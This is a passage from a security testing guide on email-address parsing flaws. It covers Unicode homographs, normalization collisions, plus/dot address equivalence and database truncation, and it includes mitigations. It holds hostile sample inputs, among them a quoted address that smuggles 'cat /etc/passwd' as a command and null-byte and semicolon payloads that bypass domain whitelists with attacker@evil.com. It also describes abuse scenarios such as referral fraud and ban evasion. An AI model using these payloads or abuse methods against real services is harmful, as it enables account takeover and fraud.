2. Slashes in Quoted Strings:

Slashes (/) are not permitted in an unquoted local-part, but they can be used in quoted strings:

• "user/name"@example.com - slash is valid
• "user/name/path"@example.com - multiple slashes are valid

Abuse:

• Command Injection: in systems that use email in shell commands, slash can lead to path traversal
• Example: "user;cat /etc/passwd"@example.com - combination of semicolon and slash for command injection

3. Emojis in Quoted Strings:

With RFC 6532 (Internationalized Email), emojis and Unicode characters are valid in a quoted local-part:

• "user😀"@example.com - emoji is valid
• "user🎉"@example.com - emoji is valid
• "user🚀"@example.com - emoji is valid

Important note: This differs from Unicode Overflow (Section 5.4):

• Unicode Overflow: using emojis to convert to dangerous characters (mod 256)
• Emojis in Quoted Strings: using emojis as valid characters in a quoted local-part

Abuse:

• Email Equivalence: "user😀"@example.com and "user"@example.com may be stored differently in the DB but reach one mailbox (if the Mail Server normalizes emojis)
• Filter Bypass: filters that reject emojis ignore quoted strings
• Visual Confusion: emojis can cause confusion in the UI

4. Semicolon Separator and Multiple Recipients:

In RFC 5322, a semicolon (;) is used as a separator in To/Cc/Bcc fields, not in the email address itself. But if a system parses an email address and sees a semicolon as a separator, it can bypass a domain whitelist:

• To: user@allowed.com; attacker@evil.com - semicolon in a header field
• If a parser sees a semicolon in an email address: user@allowed.com;attacker@evil.com - it may interpret attacker@evil.com as a second recipient

Abuse:

• Domain Whitelist Bypass: if the system checks only the first domain but sends to both
• Multiple Recipients: sending an email to multiple recipients with one string

Combined examples:

• "user name/😀"@example.com - combination of space, slash, and emoji
• "user@internal;attacker@evil.com"@example.com - combination of @ and semicolon in a quoted string

Difference from other sections:

• Section 1.3.2 (Spaces and Whitespace): about spaces in unquoted addresses (which are usually stripped)

• This section: about spaces and special characters in quoted strings (which are valid)

• Section 5.4 (Unicode Overflow): about converting emojis into dangerous characters

• This section: about emojis as valid characters in quoted strings

Mitigation:

• Use standard libraries for email parsing that correctly implement RFC 5322
• Unquote and normalize quoted strings before storing or comparing them
• To prevent Email Equivalence, canonicalize email addresses (unquote + normalize)
• To prevent Injection, sanitize quoted strings before use in shell commands or SQL queries

⚠️ Important note: Quoted Strings are defined in RFC 5322, but from a practical security perspective, a stricter policy can (and in many systems should) be applied. The important point is for the selected policy to be consistent, documented, and predictable throughout the system.

1.4. Domain Alias and Subdomain Equivalence – When Multiple Domains Reach One Inbox

📍 Affected stages: Stage 2 (Backend/API), Stage 3 (Database), Stage 8 (Token Consumption) - different domains are stored as independent identities in the Backend but reach one Inbox.

Feature: In the real world, many Mail Providers map several different domains to one account. This feature is designed for compatibility with domain changes or service mergers. Well-known examples:

• user@gmail.com and user@googlemail.com (both reach one Google Account)
• alias domains in organizational services

Abuse: If the application ignores provider-domain equivalence (for example, gmail.com / googlemail.com) in its registration/uniqueness logic, but the mail server maps both to one mailbox, multiple apparently separate “identities” can be created that in practice reach one Inbox.

1.5. Unicode Homograph & IDN Spoofing (Domain Spoofing Attacks with Similar Characters)

📍 Affected stages: Stage 2 (Backend/API), Stage 7 (Mail Client), Stage 8 (Token Consumption) - similar characters are used in the Backend for ATO and in the Mail Client for phishing.

Severity: High only with proven ATO/spoof Impact. Visual similarity alone is Informational.

When to test: Identity, reset, or SSO keyed on the raw email string; you can prove collision or linking.

When to skip: One Unicode submit is rejected and no encode path remains; browser-bar spoof is the only story.

Length note: Full confusable tables live in Appendix A—keep this section for mechanism and a short sample only.

Internationalized domains (IDN) allow Unicode characters that resemble Latin letters. This resemblance makes it possible to create a domain that visually looks like the original domain but actually uses different characters. This technique is one of the common methods for domain impersonation, phishing, BEC, and bypassing authentication systems.

Common example:

• microsoft.com → ⅿicrosoft.com
• They look similar, but the character ⅿ is not a Latin “m” at all.

Important note about browser display (IDN Policy): Most modern browsers (Chrome, Firefox, Safari) display domains with suspicious mixed scripts in the address bar as Punycode (xn--...) to prevent these attacks. Therefore, this technique is more effective in the Backend (which processes the string) and older email clients than in deceiving a user in a browser.

This means Homograph attacks remain practical mainly when:

• Backends process strings without Normalization/Validation
• Older Mail clients
• Mobile applications and scripts
• Internal organizational UIs

Do not imply every Homograph sample is default High.

Dangerous examples (Golchined):

Original character	Similar character	Unicode Point	Description
a	а (Cyrillic)	U+0430	Very similar to Latin a
o	о (Cyrillic)	U+043E	Very similar to Latin o
i	і (Cyrillic)	U+0456	Very similar to Latin i
/	⁄ (Fraction slash)	U+2044	Similar to /
@	＠ (Fullwidth)	U+FF20	Similar to @

Note: For the complete Confusable Characters table (A-Z letters, symbols, and Homoglyph Digits), see Appendix A: Complete Homograph Tables at the end of the article.

1.6. URL Encoding and HTML Entity Encoding for Email Equivalence

📍 Affected stages: Stage 1 (Website), Stage 2 (Backend/API) - Encoding is decoded in the Client/Backend and causes Email Equivalence.

Contrary to the common assumption that URL Encoding and HTML Entity Encoding are only used for Validation Bypass, in some systems (such as Github), these encodings are decoded and cause Email Equivalence.

1.6.1. URL Encoding in the Email Field

Example (in some code-management platforms):

• Register with: user@example.com
• Attempt to register again with: user%40example.com (URL encoded)
• Result: the system says “email exists” → meaning it was decoded and reached the same email

Mechanism:

• The system decodes URL encoding: %40 → @
• After decoding: user@example.com
• It may be stored in the DB as raw (user%40example.com)
• But to check whether the email exists, it decodes and reaches the same email

Abuse:

• If the system stores it in raw form in the DB but decodes it for validation, it is possible to create multiple accounts with different encodings
• But if the system decodes for all operations, this is Email Equivalence

1.6.2. HTML Entity Encoding in the Email Field

Example (in some code-management platforms):

• Register with: user@example.com
• Attempt to register again with: user@example.com (HTML entity)
• Result: the system says “email exists” → meaning it was decoded and reached the same email

Mechanism:

• The system decodes the HTML entity: @ → @
• After decoding: user@example.com
• Similar to URL Encoding, if the system decodes it, Email Equivalence occurs

Important note: This behavior is not the same in every system. Some systems decode these encodings, while others may reject them as invalid addresses.

1.7. Internationalized Local-Part and Normalization Collisions

📍 Affected stages: Stage 2 (Backend/API), Stage 3 (Database) - normalization differences between systems lead to Email Equivalence.

In addition to IDN domains, RFC 6532 allows the local-part to include Unicode characters as well (such as ایمیل@example.com). This creates two new attack classes:

1.7.1. Internationalized Local-Part

If the web server or MTA supports the SMTPUTF8 standard but the application’s validation layer (Application Logic) does not handle it correctly, then:

• Input Sanitization filters may ignore non-ASCII characters.
• In logs or databases, multibyte characters may cause Truncation or corruption.

1.7.2. Normalization Collisions

Many applications apply toUpperCase() or toLowerCase() to email before storing or comparing it. In the Unicode standard, some characters convert to ASCII characters when their Case changes:

• Kelvin Sign: K (U+212A) → converts to k in toLowerCase().
• Long S: ſ (U+017F) → converts to S in toUpperCase().
• Dotted/dotless I collision: in Turkish, I and ı, or İ and i, have different behavior that can bypass filters such as ADMIN@.

Scenario: If a user named Admin exists and registration is blocked, an attacker can register with Admın (with a Turkish dotless i) or AdmKn (with a Kelvin K). If the system normalizes the email after registration (for example, for login), this new user collides with the original Admin user and can lead to Account Takeover.

1.7.3. Unicode Normalization Forms (NFD, NFC, NFKD, NFKC)

Feature: Unicode has four standard normalization forms in which a character can be represented in different ways:

• NFC (Normalization Form Canonical Composition): combines base + combining-mark characters into one precomposed character
  • Example: é (U+00E9) - one single character
• NFD (Normalization Form Canonical Decomposition): decomposes precomposed characters into base + combining mark
  • Example: e + ´ (U+0065 + U+0301) - two separate characters
• NFKC (Normalization Form Compatibility Composition): similar to NFC but with compatibility characters
• NFKD (Normalization Form Compatibility Decomposition): similar to NFD but with compatibility characters

Practical example for Email Equivalence:

• café@example.com (NFC - one é character)
• café@example.com (NFD - e + combining acute U+0301)

Abuse:

• If the system normalizes one of these addresses as NFC and the other as NFD, both may reach one inbox
• In the DB, these addresses are stored as different values (because they are different strings)
• But after correct normalization, both should convert to café@example.com
• If the system performs normalization incorrectly (for example, removes combining marks), both reach cafe@example.com and Email Equivalence occurs

Important note about strong libraries: Strong Unicode libraries such as ICU (International Components for Unicode) in Java or unicodedata in Python perform precise equivalence checks under NFKC and prevent such bypasses. However, many applications do not use these libraries or implement normalization incorrectly.

Use:

• Email Equivalence: several different addresses reach one inbox
• Bypassing unique constraints
• Creating confusion in logs and reports

🔒 Mitigation: Use strong Unicode libraries (ICU, unicodedata) for normalization and apply NFKC for precise equivalence.

1.7.4. Combining Diacritical Marks and Their Abuse

Difference from Section 1.7.3:

• Section 1.7.3 discusses standard normalization forms (NFC, NFD, NFKC, NFKD)
• This section discusses how to use combining marks for abuse and create different variations for Email Equivalence

Feature: Combining Diacritical Marks are Unicode characters added to a base character to create new characters. These characters can be used in different forms:

• Precomposed: é (U+00E9) - one complete character
• Decomposed: e + ´ (U+0065 + U+0301) - base character + combining mark

Common Combining Marks for abuse:

1. Combining Acute (U+0301): é → e´
2. Combining Grave (U+0300): è → e + \u0300
3. Combining Circumflex (U+0302): ê → e + \u0302
4. Combining Tilde (U+0303): ã → a + \u0303
5. Combining Diaeresis (U+0308): ë → e + \u0308

Practical examples for Email Equivalence:

user@domain.com                    (normal)
useŕ@domain.com                    (with combining acute - U+0301)
user̀@domain.com                    (with combining grave - U+0300)
user̂@domain.com                    (with combining circumflex - U+0302)
user̃@domain.com                    (with combining tilde - U+0303)
user̈@domain.com                    (with combining diaeresis - U+0308)

Abuse:

• In the DB, these addresses are stored as different values (because they have different Unicode characters)
• But if the system removes or ignores combining marks in normalization, all reach user@domain.com
• Result: Email Equivalence - several different addresses reach one inbox

Use:

• Bypassing unique constraints by creating different variations
• Creating several accounts with emails that in practice reach one inbox
• Creating confusion in logs and reports (especially in systems that do not display combining marks)

Note: This technique works in systems that remove or ignore combining marks during normalization. Modern systems that use strong Unicode libraries prevent this bypass.

1.7.5. Fullwidth Characters

Feature: Fullwidth characters are full-width versions of ASCII characters used in CJK (Chinese, Japanese, Korean) systems:

• user@domain.com (normal - ASCII)
• ｕｓｅｒ＠ｄｏｍａｉｎ．ｃｏｍ (Fullwidth)

Exact examples:

• u (U+0075) → ｕ (U+FF55)
• @ (U+0040) → ＠ (U+FF20)
• . (U+002E) → ． (U+FF0E)

Practical examples:

user@domain.com                  (normal - ASCII)
uｓer@domain.com                 (with Fullwidth s - U+FF53)
user＠domain.com                 (with Fullwidth @ - U+FF20)
user@domain．com                (with Fullwidth . - U+FF0E)
ｕser@domain.com                 (with Fullwidth u - U+FF55)
user＠domain．com                (combination of Fullwidth @ and .)

Common Fullwidth characters for testing:

• 0-9 → ０-９ (U+FF10-U+FF19)
• a-z → ａ-ｚ (U+FF41-U+FF5A)
• A-Z → Ａ-Ｚ (U+FF21-U+FF3A)
• @ → ＠ (U+FF20)
• . → ． (U+FF0E)

Abuse:

• In the DB, these addresses are stored as different values
• But after normalization (Fullwidth → ASCII conversion), both reach user@domain.com
• Result: Email Equivalence

Use:

• Bypassing unique constraints
• Creating several accounts with emails that in practice reach one inbox
• Creating confusion in logs

Note: This technique works in some systems that normalize Fullwidth characters to ASCII.

1.7.5.1. Homoglyph Digits (Number-Like Characters)

In addition to Fullwidth digits, there are other Unicode characters that visually resemble numbers and a system may mistake them for ordinary digits:

Types of Homoglyph Digits:

1. Fullwidth Digits (U+FF10-U+FF19): ０-９
2. Arabic-Indic Digits (U+0660-U+0669): ٠-٩
3. Persian/Extended Arabic-Indic Digits (U+06F0-U+06F9): ۰-۹
4. Mathematical Digits:
   • Double-Struck (U+1D7D8-U+1D7E1): 𝟘-𝟡
   • Sans-Serif (U+1D7E2-U+1D7EB): 𝟢-𝟫
   • Sans-Serif Bold (U+1D7EC-U+1D7F5): 𝟬-𝟵
5. Superscript Digits (U+2070, U+00B9, U+00B2, U+00B3, U+2074-U+2079): ⁰¹²³⁴⁵⁶⁷⁸⁹
6. Subscript Digits (U+2080-U+2089): ₀₁₂₃₄₅₆₇₈₉

Complete Homoglyph Digits table:

Number	Fullwidth	Arabic-Indic	Persian	Math Double-Struck	Math Sans-Serif	Math Sans-Serif Bold	Superscript	Subscript
0	０ (U+FF10)	٠ (U+0660)	۰ (U+06F0)	𝟘 (U+1D7D8)	𝟢 (U+1D7E2)	𝟬 (U+1D7EC)	⁰ (U+2070)	₀ (U+2080)
1	１ (U+FF11)	١ (U+0661)	۱ (U+06F1)	𝟙 (U+1D7D9)	𝟣 (U+1D7E3)	𝟭 (U+1D7ED)	¹ (U+00B9)	₁ (U+2081)
2	２ (U+FF12)	٢ (U+0662)	۲ (U+06F2)	𝟚 (U+1D7DA)	𝟤 (U+1D7E4)	𝟮 (U+1D7EE)	² (U+00B2)	₂ (U+2082)
3	３ (U+FF13)	٣ (U+0663)	۳ (U+06F3)	𝟛 (U+1D7DB)	𝟥 (U+1D7E5)	𝟯 (U+1D7EF)	³ (U+00B3)	₃ (U+2083)
4	４ (U+FF14)	٤ (U+0664)	۴ (U+06F4)	𝟜 (U+1D7DC)	𝟦 (U+1D7E6)	𝟰 (U+1D7F0)	⁴ (U+2074)	₄ (U+2084)
5	５ (U+FF15)	٥ (U+0665)	۵ (U+06F5)	𝟝 (U+1D7DD)	𝟧 (U+1D7E7)	𝟱 (U+1D7F1)	⁵ (U+2075)	₅ (U+2085)
6	６ (U+FF16)	٦ (U+0666)	۶ (U+06F6)	𝟞 (U+1D7DE)	𝟨 (U+1D7E8)	𝟲 (U+1D7F2)	⁶ (U+2076)	₆ (U+2086)
7	７ (U+FF17)	٧ (U+0667)	۷ (U+06F7)	𝟟 (U+1D7DF)	𝟩 (U+1D7E9)	𝟳 (U+1D7F3)	⁷ (U+2077)	₇ (U+2087)
8	８ (U+FF18)	٨ (U+0668)	۸ (U+06F8)	𝟠 (U+1D7E0)	𝟪 (U+1D7EA)	𝟴 (U+1D7F4)	⁸ (U+2078)	₈ (U+2088)
9	９ (U+FF19)	٩ (U+0669)	۹ (U+06F9)	𝟡 (U+1D7E1)	𝟫 (U+1D7EB)	𝟵 (U+1D7F5)	⁹ (U+2079)	₉ (U+2089)

Practical examples:

user123@gmail.com                  (normal - ASCII)
user１２３@gmail.com               (with Fullwidth digits)
user١٢٣@gmail.com                  (with Arabic-Indic digits)
user۱۲۳@gmail.com                  (with Persian digits)
user𝟙𝟚𝟛@gmail.com                  (with Math Double-Struck)
user¹²³@gmail.com                  (with Superscript digits)
user₁₂₃@gmail.com                  (with Subscript digits)

Abuse:

• In the DB, these addresses are stored as different values
• But after normalization (Homoglyph → ASCII conversion), both reach user123@gmail.com
• Result: Email Equivalence

Use:

• Bypassing unique constraints
• Creating several accounts with emails that in practice reach one inbox
• Creating confusion in logs and reports

Note: This technique works in systems that normalize Homoglyph digits to ASCII. Some systems may normalize only Fullwidth digits, while others normalize all types of Homoglyph digits.

1.7.6. Bidirectional Text (RTL/LTR Markers)

Feature: Bidirectional characters are used to control text direction (right-to-left or left-to-right):

• Right-to-Left Mark (U+200F): user@domain.com‮
• Left-to-Right Mark (U+200E): user@domain.com‎
• Right-to-Left Override (U+202E): user@domain.com‮
• Left-to-Right Override (U+202D): user@domain.com‭

Practical test example:

• user@domain.com (normal)
• user@domain.com‮ (with a Right-to-Left Mark U+200F at the end)
• user@domain.com‎ (with a Left-to-Right Mark U+200E at the end)

Abuse:

• In the DB, these addresses are stored as different values
• But after normalization (removing bidirectional markers), both reach user@domain.com
• Result: Email Equivalence

Use:

• Bypassing unique constraints
• Creating several accounts with emails that in practice reach one inbox
• Creating confusion in logs and the UI (especially in systems that support RTL)

Note: This technique works in systems that remove bidirectional markers during normalization.

1.8. Attack Scenarios for Section 1

Important note: The following scenarios are based on the Equivalence principle; for Comments/Whitespace, only when a Probe shows that the app and mail layer truly have an interpretation difference. Also generalize Plus/Dot and Domain Alias only according to actual provider behavior.

1.8.1. Rate Limit Bypass

Scenario: Using multiple accounts with one mailbox to bypass limits such as “one trial per email” or “one request per email.”

Example with Plus Addressing:

• user+1@example.com
• user+2@example.com
• user+3@example.com
• All reach one inbox, but the system sees them as separate accounts.

Example with Dot Addressing:

• john.doe@gmail.com
• johndoe@gmail.com
• j.o.h.n.doe@gmail.com
• All reach one inbox, but the system sees them as separate accounts.

1.8.2. Referral Fraud

Scenario: Referring oneself to receive referral rewards.

Example: The attacker signs up with attacker@example.com and then refers themselves using attacker+ref1@example.com. The system sees both as separate accounts, but both reach one inbox.

Real-world example - trial / signup-reward abuse: In services that offer a “new user” reward, free trial, or repeated cashback, if uniqueness is based on the raw email string and canonicalization (stripping +tag or Gmail-like dots) is not performed, an attacker can use several variations of one mailbox to receive the same reward several times. This pattern is known in general abuse/fraud programs; no specific brand is named in this guide without a linked public report.

1.8.3. Ban Evasion

Scenario: Returning to the system after being banned by using different address variations.

Example: If baduser@example.com is banned, the attacker can return with baduser+new@example.com or baduser.new@example.com (at providers that support Dot Addressing).

1.8.4. Account Farms

Scenario: Creating hundreds of accounts with one inbox for social networks, voting, or automated tests.

Example with Dot Addressing: With an 11-character username at providers that support Dot Addressing, more than 1,000 variations can be created that all reach one inbox.

1.8.5. Loyalty/Points Abuse

Scenario: Collecting points from multiple accounts in loyalty programs.

Example: Signing up with user+points1@, user+points2@, user+points3@ and collecting points from all of them in one inbox.

Real-world example - repeating a “new user” reward: The same Equivalence pattern: several different strings in the app, one mailbox at the provider. Without a citation to a specific public report, treat it only as an attack class (trial/referral abuse) — not as a claim of compromise of a particular brand.

Documented real-world example - Gmail Dot Addressing abuse for identity fraud: According to a report by Agari (BEC Actors Exploiting Gmail “Dot Accounts”…, republished/analyzed in Bruce Schneier — Using Gmail "Dot Addresses" to Commit Fraud, 2019), BEC actors used dotted variations of a Gmail address to concentrate emails from multiple stolen identities in one inbox. Examples reported by that source included multiple credit-card applications, tax returns, address changes, and benefit applications.
Precise note: This abuse is a weakness in identity verification on the target service side, not a security bug in Gmail itself. Cite figures and details from the original Agari report (or the Schneier republication), not from this summary.

1.8.6. Unique Constraint Bypass

Scenario: Registering multiple accounts with emails that are different in the DB but reach one inbox.

Example with Comments (only if both are accepted and reach one mailbox): john(hack)@example.com and john@example.com are different in the DB; verify delivery equivalence separately.

1.8.7. Account Duplication

Scenario: Creating two accounts with emails that in practice reach one inbox.

Example with Whitespace: If the app trims before storage but not before uniqueness (or vice versa), two conflicting records/one record are created. This is an app logic bug; it does not necessarily mean identical MTA delivery.

Example with Domain Alias: user@gmail.com and user@googlemail.com are different in the DB but reach one Google Account.

1.8.8. Analytics Manipulation

Scenario: Creating hundreds of “unique users” who are actually one person to corrupt statistics and Analytics.

1.8.9. Pre-Authentication Account Takeover (Account Reservation / Linking Before Victim Registration)

Precise definition: This attack class occurs when the attacker before the victim creates an account on the same email identity that the system uses for login/linking, or the system incorrectly links two different representations of an email. It depends on Account Linking configuration and verification policy — not a default bug in all IdPs.

Scenario A — Reservation using the victim’s exact email string (classic):

1. The attacker creates an account with victim@example.com (not yet registered) and sets their own password; the account may remain Unverified.
2. If the service links the victim’s later Social Login / SSO sign-in to the same record without strong proof of ownership, the attacker may gain access to the session/data.
3. Common mitigation: Do not auto-link unverified password-based accounts with an IdP; require verification; prevent linking without proof from both sides.

Attacker registers exact: victim@example.com (unverified)
        ↓
Victim later signs in via SSO with same email claim
        ↓
IF app auto-links without strong proof → potential ATO
IF app requires verification / blocks link → attack fails

Scenario B — Equivalence only when the app canonicalizes (Plus/Dot):

• If the app strips +tag or Gmail-like dots while checking uniqueness, then victim+tag@... can prevent registration of victim@... (or vice versa).
• If the app performs no canonicalization, victim+tag@ and victim@ are two separate records; the victim usually registers and the “Email already registered” scenario does not occur.
• The security impact here depends on the app policy; do not guess — prove it with Probe/Observe.

Scenario C — Two separate accounts that reach one inbox (logical abuse, not necessarily ATO):

The attacker creates victim+tag@provider.com; verification emails are delivered to the actual victim@provider.com inbox. This only makes sense for stealing a verification token from the victim’s inbox when the attacker has access to that inbox (for example, they themselves own the mailbox) or the email content leaks elsewhere — not because the mere existence of +tag independently creates ATO.

Reporting: Do not write this as Critical/ATO without proof of linking or token hijacking.

1.8.10. OAuth / IdP Email Confusion

Scenario: The service places too much trust in the email claim from the IdP, while two apparently different strings (for example, a provider-domain alias or Homograph) may be equivalent at another layer, or conversely create two separate identities.

Conditional example: If the IdP lets a user change their email to another alias and the SP changes/duplicates the identity without re-verification, account confusion may occur. This depends on the SP/IdP implementation and must be proven with test evidence — do not claim it as default behavior of a particular vendor.

Related techniques: Domain Alias, Unicode Homograph, (when canonicalized) Plus/Dot

1.8.11. Dot Addressing + SSO

Scenario: The SP stores two dotted Gmail-like strings as separate identities, while the provider delivers both to one mailbox (or vice versa, the IdP returns one and the SP stores another).

Prerequisite: Dot Addressing behavior at the provider (for example, Gmail) + no canonicalization in the SP.

1.8.12. Domain-Based Organizational Membership (Not “admin” in the Local-Part)

Realistic EAM-related scenario: If membership/role is granted only because an address ends in @company.com, then Domain Confusion techniques (Homograph, Encoded-word splitting, Truncation+whitelist, and similar techniques in Sections 2 and 5) can bypass the domain policy.

Common mistake (rejected): Assuming that strings such as user+admin@company.com receive an admin role because they contain the word admin. Healthy systems obtain roles from IdP/RBAC, not local-part substrings. This guide does not make such a claim.

1.8.13. Unclaimed Email Hijacking (Hijacking an Unregistered Email Flow)

Scenario: The system sends a file or token to an address that does not yet have a verified owner; the attacker registers a variation under their control so that the same flow reaches their mailbox.

Prerequisite: Actual control over the destination mailbox (or Equivalence to a mailbox controlled by the attacker). Plus/Dot alone does not open a third party’s inbox.

Applicable techniques: Plus Addressing, Dot Addressing (when supported by the provider), Domain Alias controlled by the attacker

1.8.14. Bypassing Fraud Detection (Email Fingerprinting)

Scenario: The anti-abuse system uses only the raw email-string hash as its criterion and does not canonicalize.

Example (Gmail-like for Dot; Plus at providers that support Subaddressing):

• user@gmail.com
• user+test@gmail.com (if both the provider and app accept it)
• u.s.e.r@gmail.com (Dot behavior is specific to providers such as Gmail — do not generalize it to all domains)

Each string produces a different hash; if they reach one mailbox, raw-hash-based fingerprinting is bypassed.

Note: This technique is effective when anti-fraud sees only the raw email hash. Defense: canonicalize, then hash.

---

2. Validation and Filter Bypass (Validation Bypass)

📍 Affected stages: These techniques affect Stage 1 (Website), Stage 2 (Backend/API), and Stage 3 (Database). The goal is to bypass filters and validations at these layers.

The second group of attacks occurs when email-format validation, length restrictions, or character filters are performed in one layer while other layers behave differently. The result is email addresses that are:

• “permitted” from the web application’s perspective,
• “unusual” or “invalid” but processable from the Mail Server’s perspective,
• and fully exploitable from the attacker’s perspective.

2.1. Email Truncation – Truncating the String in the DB

📍 Affected stages: Stage 2 (Backend/API), Stage 3 (Database) - the string is truncated in the Database, but the Mail Server processes the full version.

Severity: High only with demonstrated whitelist/authz bypass. Truncation without abuse path → Informational/Low.

When to test: Domain whitelist, fixed VARCHAR lengths, legacy MySQL without strict mode, or ORM pre-truncation suspected.

When to skip: Strict validators + ORM reject oversize; stored/validated/mailed forms stay identical.

In many databases, the email string is stored in fields such as VARCHAR(128). If the email is longer, the string is cut off in the DB, while the Mail Server may use the full version for delivery.

Technical note (SQL Mode): This vulnerability is less common in modern systems (such as MySQL with STRICT_TRANS_TABLES enabled), because the database returns an error when the string is too long. However, in legacy systems or when SQL_MODE is not configured strictly, the database truncates the string without an error, and the attack will succeed.

The reality of Truncation in the real world:

Although modern databases with default settings (Strict Mode) return an error on data overflow, experience has shown that in many production environments:

1. Old systems that use MySQL versions before 5.7 (or were upgraded from them while retaining the old configuration) still truncate data without an error.

2. To prevent the application from crashing, developers sometimes catch and suppress SQL errors at the code level, and application logic continues with incomplete data. This point is highly valuable for pentesters: even if the database does not return an error, developers of legacy systems often suppress (hide) the error and the application continues with incomplete data. Therefore, do not be discouraged, and try this technique in your tests.

3. In some old frameworks, ORMs manually truncate data before sending it to the database to make it compatible with the field length.

Therefore, testing for Truncation remains one of the main checklists in every security assessment.

2.1.1. Classic Truncation + Whitelist Bypass Scenario

General pattern:

• Assume the system accepts only emails with the @allowed-domain.com domain as corporate.

• The attacker enters a string similar to the following:

  • attacker+AAAA....(padding)....@example.com@allowed-domain.com

• The email field in the DB is truncated to 128 characters,
  the @allowed-domain.com portion is removed, and only something similar to the following remains in the DB record:

  • attacker+AAA...@example.com

• The Mail Server sends verification emails and notifications to the attacker’s real address,

• The web application, relying on the presence of @allowed-domain.com in the original input,
  grants organizational-account access and sensitive capabilities.

This pattern has appeared in HackerOne reports related to Phabricator (including #2224 and #2233, around 2014), as well as in the upstream explanation of MySQL truncating the address after validation, and shows that just a minor mismatch in string length can render an allowed-domain policy ineffective.

🔒 Mitigation: To prevent Truncation, use Strict SQL mode (STRICT_TRANS_TABLES) and define the email field with a sufficiently large length (for example, VARCHAR(255)). Also validate length at the Application layer.

2.2. Null Byte and Control Characters – Breaking the String Boundary

📍 Affected stages: Stage 1 (Website), Stage 2 (Backend/API) - a Null Byte denotes the end of a string in C/C++ and leads to a Domain Whitelist Bypass.

A Null Byte (\0) and similar characters are considered the end of a string in languages such as C/C++.

Note: This vulnerability is very rare in high-level and managed languages (such as PHP, Python, Java, and Go), where strings are binary-safe. However, if these languages use low-level C libraries (such as certain extensions or wrappers), or if the web server/MTA itself is written in C/C++, the risk still remains.

2.2.1. Domain Whitelist Bypass with a Null Byte

Typical scenario:

• Domain validation by substring search:
  • “Is @allowed.com in the email string?”
• The attacker enters the address:
  • attacker@evil.com%00@allowed.com

In string validation, the presence of @allowed.com causes acceptance; however, at the lower layer (C/C++ or similar bindings), the string is read up to %00, and in practice the email attacker@evil.com is used. Result:

• Complete bypass of the allowed-domain policy with one Null Byte.

Flow Diagram - Null Byte Bypass:

┌─────────────────────────────────────────────────────────────────┐
│            Null Byte Domain Whitelist Bypass Flow               │
└─────────────────────────────────────────────────────────────────┘

┌─────────────────────┐
│  Attacker           │
│  Input:             │
│  attacker@evil.com  │
│  %00@allowed.com    │
└──────────┬──────────┘
           │
           ▼
┌─────────────────────────────────────────────────────────────────┐
│ [Stage 1] High-Level Validation (PHP/Python/Java)              │
│ • String contains: "@allowed.com"? YES                           │
│ • Substring check: PASSED                                       │
│ • Result: Email accepted                                        │
└──────────┬───────────────────────────────────────────────────────┘
           │
           ▼
┌─────────────────────────────────────────────────────────────────┐
│ [Stage 2] Low-Level Processing (C/C++ Library)                 │
│ • Reads string until: NULL BYTE (\x00)                         │
│ • Stops at: attacker@evil.com                                  │
│ • Ignores: @allowed.com (after null byte)                      │
│ • Result: attacker@evil.com used                               │
└──────────┬───────────────────────────────────────────────────────┘
           │
           ▼
┌─────────────────────────────────────────────────────────────────┐
│ [Stage 3] Mail Server (MTA)                                    │
│ • Receives: attacker@evil.com                                 │
│ • Domain: evil.com (NOT allowed.com)                           │
│ • Delivers to: attacker@evil.com                               │
└──────────┬───────────────────────────────────────────────────────┘
           │
           ▼
┌─────────────────────────────────────────────────────────────────┐
│ [Stage 4] System Logic                                         │
│ • Validation passed: @allowed.com was present                  │
│ • Actual email used: attacker@evil.com                        │
│ • Grants: Organizational access                                │
│ • Result: Whitelist bypassed                                   │
└─────────────────────────────────────────────────────────────────┘

╔═════════════════════════════════════════════════════════════════╗
║ KEY POINT:                                                      ║
║ High-level sees: attacker@evil.com%00@allowed.com            ║
║ Low-level sees: attacker@evil.com (null byte terminates)      ║
║ Result: Whitelist bypassed                                    ║
╚═════════════════════════════════════════════════════════════════╝

🔒 Mitigation: Use safe functions for string inspection that handle Null Bytes. In C/C++, use strnlen() instead of strlen() and always validate the string length.

2.2.2. Registering Invalid Emails in Sensitive Systems

Reports on HackerOne have shown that it is possible to register emails such as:

• user'%00@example.com
• user%0d%0a@example.com

This may appear to be “just bad design”; however, when combined with:

• enterprise mail gateways,
• email-scanning bots,
• and automated link-verification flows,

they can lead to:

• automatic email verification,
• creation of pseudo-corporate accounts with sensitive domains, such as domains of well-known security programs,
• and unexpected behavior in email-based trust logic.

One such report, initially considered Not Applicable, later became a notable vulnerability after demonstrating real Impact.

2.2.3. Long Local-Part (RFC 5321) – DoS Probing

⚠️ Real-World Status: This technique is useful only for DoS (Denial of Service), not for RCE. Exploiting a Buffer Overflow in modern email services or even older enterprises (such as Exchange 2013+) through a long email string, without access to the binary and an ASLR bypass, is almost impossible. It can cause a crash (DoS), but RCE? Very unlikely.

RFC 5321 limits the local-part length to 64 octets (bytes), not characters, because a UTF-8 character can consist of multiple octets. While modern MTAs enforce these limits, several legacy or custom C/C++ implementations with statically allocated buffers have historically exhibited crash or overflow behavior when processing excessively long local-parts.

Example:

• a × 1000 + @example.com → may cause a crash in legacy systems (DoS)
• In modern systems, this limit is enforced at the MTA layer, making DoS without an overflow unlikely

Real-world use:

• DoS probing in embedded or IoT systems (not RCE)
• Crash testing in legacy systems that do not enforce length limits
• Memory exhaustion in systems with memory constraints

⚠️ Limitation: This technique is useful only for DoS. For RCE, you need more complex memory-corruption bugs and an ASLR bypass, which are almost impossible to achieve through a long email string.

For the EAMG tool: Generating very long strings (for example, 1024 characters) specifically for testing Buffer Overflows in old MTAs. Common tools do not test this.

🔒 Mitigation: Enforce the local-part length limit (64 octets) at the Application layer and use safe libraries for email parsing.

2.3. HTML Entity, URL Encoding, and Double Encoding

📍 Affected stages: Stage 1 (Website), Stage 2 (Backend/API) - Encoding is decoded in one layer, but Validation occurs in another layer.

Sensitive characters in an email (such as @, ., and +) can be represented in different channels as:

• URL encoded: %40, %2E, %2B
• Double encoded: %2540, %252E, …
• HTML entity: @, @, …

If:

• one layer performs validation on the raw version,
• another layer makes a security decision based on the decoded version,

an attacker can:

• bypass validation,
• or register an email that appears to be “one thing” in the UI and logs, but is “something else” in other paths.

On their own, these techniques are usually not Critical, but when combined with domain-based Whitelists (and without canonicalization), they can be effective in constructing Bypass attacks.

2.3.1. Bypassing Client-Side Validation and Normalization

Today, much of the logic is performed client-side (React/Angular). Many modern client-side JavaScript Input Validations trim or lowercase the email before sending it, or remove special characters.

Problem: The article assumes that raw data goes to the server. But in reality, many modern applications:

• call toLowerCase() on the email in client-side JavaScript
• remove special characters with replace()
• remove Whitespace with trim()
• then send the “cleaned” data to the server

Attacker approach:

